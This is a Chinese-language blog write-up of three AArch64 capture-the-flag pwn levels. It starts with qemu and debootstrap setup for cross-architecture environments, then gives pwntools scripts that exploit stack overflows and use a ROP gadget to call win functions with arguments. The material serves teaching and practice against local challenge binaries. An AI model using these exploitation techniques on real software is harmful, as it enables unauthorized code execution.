# 工欲善其事,必先利其器 ## Speedrun 异架构汇编 直接看我[笔记](/posts/cs-notes/cross-isas/)就好了,虽然不是很详细,后面有时间的 话我会再多写点的<i>/画大饼,很大很大的饼(bushi</i> ## 异架构环境搭建 由于我使用的是 Arch Linux,所以这里的搭建步骤都按照 Arch 的用法来写,不过实际上 其它发行版的大致流程也大差不差的。 ```shellsession paru -S qemu-user-static qemu-user-static-binfmt ``` 确保 `binfmt` 安装成功: ```shellsession ls /proc/sys/fs/binfmt_misc/qemu-aarch64 ``` 创建 `aarch64-rootfs`: ```shellsession paru -S debootstrap sudo debootstrap --arch=arm64 bookworm /opt/aarch64-rootfs http://deb.debian.org /debian sudo chroot /opt/aarch64-rootfs /bin/bash uname -m # should result aarch64 apt update apt install -y libcapstone4 # just install needed packages, for dynamically link ed programs exit ``` :::important 上面这个创建 `aarch64-rootfs` 然后安装软件包是为了解决非静态链接的异架构 ELF 文 件无法运行的问题,至于具体安装什么软件包,也是取决于那个动态连接的文件用到了什么 包,`libcapstone4` 只是举个例子,需要根据实际情况来判断。 如果给的是静态链接的 ELF 文件,则一般可以直接使用 `qemu-aarch64-static ./file` 来运行。 简单介绍一下 `qemu-user` 和 `qemu-user-static` 之间的区别,其实就是 `qemu` 本身 是否静态链接。静态链接版本的会提供一些最基本的库,动态链接版本的则完全没有,就那 么简单,所以一般使用 `static` 版本即可。 至于 `binfmt` 的作用,可以简单理解为隐藏了手动确认架构信息这些步骤,自动识别架构 。这里我完全是为了图方便,因为手动设置架构的时候 `chroot` 没成功,改用 `binfmt` 就一次过了,太懒了,没深入研究哈哈哈,这种东西能跑就行<i>/逃</i> ::: # Level 1.0 ## Information - Category: Pwn ## Description > The goal of this level is quite simple: redirect control flow to the win funct ion. ## Write-up 经典栈溢出 plus 后门。 ## Exploit ```python #!/usr/bin/env python3 import argparse from pwn import ( ELF, context, flat, gdb, process, raw_input, remote, ) parser = argparse.ArgumentParser() parser.add_argument("-L", "--local", action="store_true", help="Run locally") parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB") parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q EMU") parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun t") args = parser.parse_args() FILE = "/challenge/level-1-0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = elf.libc def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(argv=None, envp=None): global target, thread if argv is None: argv = [FILE] if args.local and args.threads is not None: raise ValueError("Options -L and -T cannot be used together.") if args.local: if args.gdb and "qemu" in argv[0]: if "-g" not in argv: argv.insert(1, str(args.port)) argv.insert(1, "-g") target = process(argv, env=envp) elif args.threads: if args.threads <= 0: raise ValueError("Thread count must be positive.") process(FILE) thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)] else: target = remote(HOST, PORT, ssl=True) def main(): # launch(["qemu-aarch64-static", "-L", "/opt/aarch64-rootfs", FILE]) target = process(["/challenge/run"]) payload = flat( { 0x7C: elf.sym["win"], }, filler=b"x00", ) raw_input("DEBUG") target.send(payload) target.interactive() if __name__ == "__main__": main() ``` # Level 2.0 ## Information - Category: Pwn ## Description > Now let's see about redirect control flow to multiple functions. ## Write-up 嗯,是当年新手村那味儿没错了~满满的回忆哈哈哈。 简单说一下,调用函数会把返回地址保存在 `LR` 寄存器,函数 `ret` 差不多就是 `x30 = LR, br x30`,所以只要注意观察 epilogue 然后计算就好了。 ## Exploit ```python #!/usr/bin/env python3 import argparse from pwn import ( ELF, context, flat, gdb, process, raw_input, remote, ) parser = argparse.ArgumentParser() parser.add_argument("-L", "--local", action="store_true", help="Run locally") parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB") parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q EMU") parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun t") args = parser.parse_args() FILE = "/challenge/level-2-0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = elf.libc def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(argv=None, envp=None): global target, thread if argv is None: argv = [FILE] if args.local and args.threads is not None: raise ValueError("Options -L and -T cannot be used together.") if args.local: if args.gdb and "qemu" in argv[0]: if "-g" not in argv: argv.insert(1, str(args.port)) argv.insert(1, "-g") target = process(argv, env=envp) elif args.threads: if args.threads <= 0: raise ValueError("Thread count must be positive.") process(FILE) thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)] else: target = remote(HOST, PORT, ssl=True) def main(): # launch(["qemu-aarch64-static", "-L", "/opt/aarch64-rootfs", FILE]) target = process(["/challenge/run"]) payload = flat( { 0x8C: elf.sym["win_stage_1"] + 0x8, 0x1BC: elf.sym["win_stage_2"] + 0x8, }, filler=b"x00", ) raw_input("DEBUG") target.send(payload) target.interactive() if __name__ == "__main__": main() ``` # Level 3.0 ## Information - Category: Pwn ## Description > What about passing arguments to multiple functions? ## Write-up Multiple stages + argument control, 回忆啊,都是回忆…… ## Exploit ```python #!/usr/bin/env python3 import argparse from pwn import ( ELF, ROP, context, flat, gdb, process, raw_input, remote, ) parser = argparse.ArgumentParser() parser.add_argument("-L", "--local", action="store_true", help="Run locally") parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB") parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for Q EMU") parser.add_argument("-T", "--threads", type=int, default=None, help="Thread coun t") args = parser.parse_args() FILE = "/challenge/level-3-0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = elf.libc def mangle(pos, ptr, shifted=1): if shifted: return pos ^ ptr return (pos >> 12) ^ ptr def demangle(pos, ptr, shifted=1): if shifted: return mangle(pos, ptr) return mangle(pos, ptr, 0) def launch(argv=None, envp=None): global target, thread if argv is None: argv = [FILE] if args.local and args.threads is not None: raise ValueError("Options -L and -T cannot be used together.") if args.local: if args.gdb and "qemu" in argv[0]: if "-g" not in argv: argv.insert(1, str(args.port)) argv.insert(1, "-g") target = process(argv, env=envp) elif args.threads: if args.threads <= 0: raise ValueError("Thread count must be positive.") process(FILE) thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)] else: target = remote(HOST, PORT, ssl=True) def main(): # launch(["qemu-aarch64-static", "-L", "/opt/aarch64-rootfs", FILE]) target = process(["/challenge/run"]) # 0x00000000004014c8: ldp x0, x1, [sp]; br x1; x0_x1_br_x1 = 0x00000000004014C8 payload = flat( { 0x61: x0_x1_br_x1, 0x61 + 0x8: 0x1, 0x61 + 0x10: elf.sym["win_stage_1"] + 0x8, 0x191: x0_x1_br_x1, 0x1A9: 0x2, 0x1A9 + 0x8: elf.sym["win_stage_2"] + 0x8, 0x2D1: x0_x1_br_x1, 0x2E9: 0x3, 0x2E9 + 0x8: elf.sym["win_stage_3"] + 0x8, 0x411: x0_x1_br_x1, 0x429: 0x4, 0x429 + 0x8: elf.sym["win_stage_4"] + 0x8, 0x551: x0_x1_br_x1, 0x569: 0x5, 0x569 + 0x8: elf.sym["win_stage_5"] + 0x8, }, filler=b"x00", ) raw_input("DEBUG") target.send(payload) target.interactive() if __name__ == "__main__": main() ```













